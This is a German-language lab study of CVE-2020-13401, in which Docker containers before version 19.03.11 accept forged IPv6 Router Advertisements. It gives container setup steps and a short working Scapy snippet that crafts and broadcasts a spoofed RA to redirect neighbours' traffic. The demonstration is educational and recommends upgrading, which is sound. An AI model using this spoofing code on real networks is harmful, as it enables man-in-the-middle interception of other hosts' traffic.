
Studie zur CVE-2020-13401-Sicherheitslücke von Containern in Docker-Versionen älter als 19.03.11
Studie über die CVE-2020-13401 Schwachstelle von Containern in Docker-Versionen älter als 19.03.11
Container, die mit Docker Engine Versionen vor 19.03.11 erstellt wurden, sind anfällig dafür, gefälschte RA-Nachrichten (Router Advertisement) von anderen Containern im Netzwerk zu empfangen und anzuwenden. Das Empfangen von RAs ist ein normales Verhalten des Betriebssystems, aber wenn der RA-Absender im Netzwerk nicht vertrauenswürdig ist, kann der Opfercontainer die Nachricht empfangen, dem Netzwerk beitreten und dann alle Netzwerkpakete an den neuen gefälschten Router senden (Man-in-the-Middle-Angriff). Dieses Problem betrifft nicht IPv4 und basiert auf IPv6.
Original CVE-Quelle: CVE-2020-13401
In Docker Engines älter als 19.03.11 akzeptieren Container RA-Nachrichten standardmäßig. Angenommen, es gibt einen weiteren Container im Netzwerk mit der Fähigkeit CAP_NET_RAW. Das bedeutet, dass dieser Container beliebige Netzwerkpakete erstellen und an das Netzwerk senden kann. Somit kann dieser Container als Quelle für das Erstellen von Paketen genutzt werden. In neueren Versionen akzeptieren Container keine RA-Nachrichten, es sei denn, diese Funktion ist auf der Docker Engine aktiviert. Das System könnte also weiterhin anfällig sein, wenn ein Administrator diese Funktion aktiviert.
Es wird dringend empfohlen, die Docker Engine zu aktualisieren, um Ihre Containerumgebung vor dieser Schwachstelle zu schützen.
In dieser Studie möchte ich demonstrieren, wie diese Schwachstelle auftritt und sehen, wie unser Container von der RA-Nachricht betroffen ist.
In laufenden Containern habe ich getestet, ob IPv6 funktioniert. Aber ich stellte fest, dass mein Container standardmäßig kein IPv6 unterstützt. Standardmäßig sind alle Docker-Container mit einem bridge-Netzwerk verbunden, und dieses Netzwerk unterstützt kein IPv6. Um IPv6 für Docker zu aktivieren, muss eine daemon.json-Datei im Pfad /etc/docker/ hinzugefügt werden. Der Inhalt dieser Datei sollte wie folgt aussehen:
{ "ipv6": true, "fixed-cidr-v6": "fd00::/80" }
Es ist möglich, eine beliebige gültige IPv6-Subnetzadresse zuzuweisen. Dann sollte Docker neu gestartet werden und die Daemon-Datei erneut von Grund auf lesen, um sein standardmäßiges Bridge-Netzwerk zu konfigurieren. Es ist auch möglich, ein neues Netzwerk zur Unterstützung von IPv6 zu definieren.
Befehle zum Neuladen der Konfiguration und Neustarten von Docker:
$ sudo systemctl daemon-reload$ sudo systemctl restart dockerBisher haben wir einen Docker, der IPv6 unterstützt, und es ist Zeit, die Container für die Simulation zu erstellen. Wir benötigen mindestens 2 Container. Ich nenne sie Ubuntu_1 und Ubuntu_2. Verwenden Sie auf Ihrem Host-Rechner die folgenden Befehle, um Ihre Container zu erstellen:
$ docker pull ubuntu
$ docker run --name ubuntu_1 -i -t ubuntu bash
$ docker run --name ubuntu_2 -i -t ubuntu bash
Listen Sie Ihre Container mit diesem Befehl auf:
$ docker container ls -a
Verwenden Sie Ihre Containernamen, um sie auszuführen:
$ docker container start -ai [CONTAINER NAME]
Auf beiden Containern benötigen Sie einige grundlegende Werkzeuge wie:
| Werkzeug | Installationsbefehl |
|---|---|
| nano (oder ein anderer Editor) | apt-get install nano |
| net-tools | apt-get install net-tools |
| hping3 | apt-get install hping3 |
| tcpdump | apt-get install tcpdump |
| scapy | apt install python3-scapy (nur auf einem Container installieren) |
Installieren Sie die erforderlichen Werkzeuge und überprüfen Sie, ob Ihre Container verbunden sind. Holen Sie sich dazu die Container-IP und Informationen zu den Schnittstellen mit dem Befehl ifconfig. Pingen Sie dann ping -6 [Ziel-IPv6] den anderen Container, um sicherzustellen, dass sie verbunden sind. Sie können auch tcpdump auf Ihrem Zielcontainer verwenden, um die empfangenen Ping-Pakete zu sehen.
(Stellen Sie sicher, dass Sie IPv6 verwenden, um die Container anzupingen)
Wir möchten eine präparierte RA-Nachricht von einem der Container im Netzwerk senden und die IP-Tabelle der Opfer aktualisieren.
Ich verwende SCAPY, um IPv6-Router-Advertisement-Nachrichten zu erstellen. Scapy basiert auf Python. Die Installationsschritte sind wie folgt:
$ sudo apt install python3-scapyDas RA-Paket ist ein Broadcast-Paket, was bedeutet, dass es an alle Netzwerkknoten ausgeliefert werden sollte. Es basiert außerdem auf IPv6-Regeln. Daher ist die Zieladresse ff01::1 und das Protokoll basiert auf ICMPv6.
Scapy ausführen:
$ scapy
Ich verwende diese Befehle, um das Paket zu erstellen und an das Netzwerk zu senden:
a = IPv6()
a.dst = "ff02::1"
a.display()
b = ICMPv6ND_RA()
b.display()
c = ICMPv6NDOptSrcLLAddr()
c.lladdr = "02:42:ac:11:00:02"
c.display()
d = ICMPv6NDOptMTU()
d.display()
e = ICMPv6NDOptPrefixInfo()
e.prefixlen = 64
e.prefix = "d00d::"
e.display()
send(a/b/c/d/e)
Nach dem Senden des Pakets gehen Sie zu den anderen Containern und verwenden Sie ifconfig erneut. Sie werden sehen, dass Ihre IP-Tabelle nach dem Empfang der RA-Nachrichten aktualisiert wurde.
Sie können meine angepassten Docker-Images pullen, um dieses Problem zu testen und zu studieren: Meine angepassten Docker-Images